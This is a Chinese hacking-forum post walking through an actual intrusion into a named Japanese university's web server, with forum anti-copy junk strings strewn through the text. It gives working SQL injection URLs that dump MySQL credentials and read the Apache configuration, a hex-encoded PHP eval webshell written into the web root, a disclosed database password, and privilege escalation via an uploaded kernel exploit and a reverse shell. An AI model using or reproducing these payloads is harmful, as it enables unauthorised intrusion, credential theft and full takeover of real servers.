入侵日本同志社大学技术分析
; A1 f# N! U- X- ^. s1 A* i7 g$ ^# }" G+ ^7 A
http://www.doshisha.ac.jp/chs/news/index.php?i=-13 Q/ {* h" y& d8 `/ Z9 \+ {: L
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:) z% @ K! ?2 L* ~! S* Q X
$ h _) o& I+ T& yhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
! }) u& B. }7 K* s: U0 |" |* M, C7 x6 t4 c4 S" G$ \' U
, A- q+ R( t0 ~- z: x* F* T/ S" L1 h
//@@datadir为数据库文件路径
A9 V: T: h; f" o- X9 t- v
0 ~4 p* Z; D. f5 m$ ?' p$ [
: W. R' Z U5 c. {//load_file读取网站容器apache的配置文件
, k: |$ w, T+ A 8 s# M6 x4 L4 g2 v& C5 z4 E' Z
( j& r, O; B3 {4 x//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 9 I0 \) U6 g; r) T/ v& G0 w
复制代码* e. {* X4 B6 k4 T2 z/ P: f
` t8 j6 u Y7 j虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
* k/ {# h P4 s; c
+ `) U6 F2 R; U7 H而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。1 b) ~& _3 `5 m: ^
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)9 U7 G! @' e& ?4 X& K6 X( g# Y
8 e Y3 i! F" a3 G9 q8 v
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。* L, Q* X2 m1 [$ a$ i
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
* R# n# ?+ `7 A% ]* N/ C* A% w% t3 k& X+ p8 m
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
# O2 Q: p; P8 q% }) C# a虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。8 N- B# o9 q8 W4 |+ u- {% r
直接写一句话:
5 E: h0 m& b6 K* Z- {" Y' W
: m! Y( j; _2 ]: i+ h chttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
2 `6 j5 I$ r& T
+ |" v' g. o2 f& V( d
' R" e5 @3 {9 a8 z" G; N/ k, G4 @7 `6 N9 ?2 y
//最后的#是为了闭合前面的语句
) o8 N* E6 d$ m3 E" k, B" S. `+ J # [7 B; H2 m" }0 }. z% x3 v
; L$ Q6 n5 e* v! ?
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E + F. W" s8 a$ u% g0 I# i, B3 k
. M# p/ p$ L5 p* a2 ]+ R i* {& f1 f/ L
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ . y! T9 j9 }4 o/ t% D
, ?6 b" o) R7 i9 d
* }" S1 g3 n6 W0 [" G//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 0 T) [; e E) e& d+ r7 P* i
; |+ o- }9 ?4 m* Y0 ]& _ E
9 n% r% ^; v6 A: V4 _7 B B8 f5 Y//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 & k N+ l$ @1 g j
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
% K# E5 V+ M" T2 Y- a复制代码
, U5 }' I5 B9 l7 ^$ y
- S+ K6 R) d% x7 MHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有1 _& G( h! S8 ?' z: M
通过上述注入语句,我们就得到了一句话木马:+ d5 N7 o0 Z* `+ _/ |- i! _! l
& I! @* ^7 @3 P* s: c- X3 a
9 R: z; m! p- Q0 |8 {9 T( H4 ?
' ?! y( g0 i- o) Q& g
5 L* X) Y- _- Y& ]
2 l9 l7 K3 m5 `- V' rhttp://www.doshisha.ac.jp/english/engnews_img/aa.php
5 F/ ^. S8 Q" q8 t复制代码
) O: M' K- F% j4 R3 c- a) j& O+ p
% E' B8 l, [, X& u# L5 Q4 ?用菜刀连接,密码是cmd,如图所示:2 |- \. u( x$ r# [( |( R* t. t; d
然后在命令提示行里看了一下,现在的权限是:
- E T, F* M* f7 ~' J1 y* y
6 P# G* \' g* i$ L6 O. I之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。 f( X. G$ \! C) W
好在赋权给这个文件夹不需要root,直接执行赋权语句:
9 _$ ^$ r- F* b5 W" J0 X' W! K9 ^8 G4 k( O- H Q U1 l0 p
! O; s' o" [! l! n% O- I; |+ c+ a0 |7 }! K
$ K' L, v& }& f3 S2 R. A
! U0 e6 t: w$ W. j7 {. lchmod +x /tmp/ 9 L" M0 U$ S& k* t9 y# {
复制代码' ?- |3 W5 `: x8 b5 p
$ y# B5 [0 B* `1 t
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行. W2 @3 w+ i/ b9 G3 H
然后就查了一下内核版本:1 }7 h$ x+ N/ g6 i4 E: e
& z& G. G9 | H' C( E
3 _: b+ c% p7 i$ ?9 o
* T4 |+ ]; u' `% Y; A3 N) t9 C
' T: n. u' t+ l2 L2 V9 U" J- F2 F o. M8 W" I- L& E' m9 n
uname-a
. C4 q3 V( I' O# a2 H4 S0 S - T' {9 `. ]6 p2 a; \
! ~2 A3 K1 u( v+ ?1 _8 O5 P//其实lsb_release -a $ d+ \) l' ]; j+ G
复制代码
/ s+ h/ ~) v4 } [6 m3 y/ X1 K- Y; h6 o5 T( X
如图所示:# ? A+ s7 ]* U5 x7 j
2 {0 \) `( O. x内核版本:linux mainz1 2.6.28-194.e158 U3 d& \) F, x& `& Z# [' }* Y
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
; c7 x4 z. a4 U" A$ T& L查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
9 p& M- H [3 e. V3 D0 {" P v D. V- c7 P, C# c) Z( O' l
然后给予执行权限& A$ L: {8 w2 z. |
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样. q0 m/ W M+ K) y2 b
! X4 C% ~- H3 `3 h0 s& w 6 k; `9 C4 |8 X, _8 K4 M; s( o
" S1 i, |, C d/ Z, _3 u
- T5 R% W* m) }! K+ `- \5 Y" O' [: t8 k6 Q" \4 y, R
chmod +x /tmp/2.6.18-194
}5 |& v/ R( N" i& W' C+ W% T+ n复制代码 然后直接执行!~
; \+ m" t9 ?. Q+ k! [6 m8 O
- c* H: T. F+ Q( [1 q$ z! j总结:# s! M/ c5 ?4 i
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了5 P3 _2 v! J0 j4 C+ @
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
+ U5 E A6 \6 G6 d O0 y. J% ~
8 c7 Q- v7 w6 I- F4 P |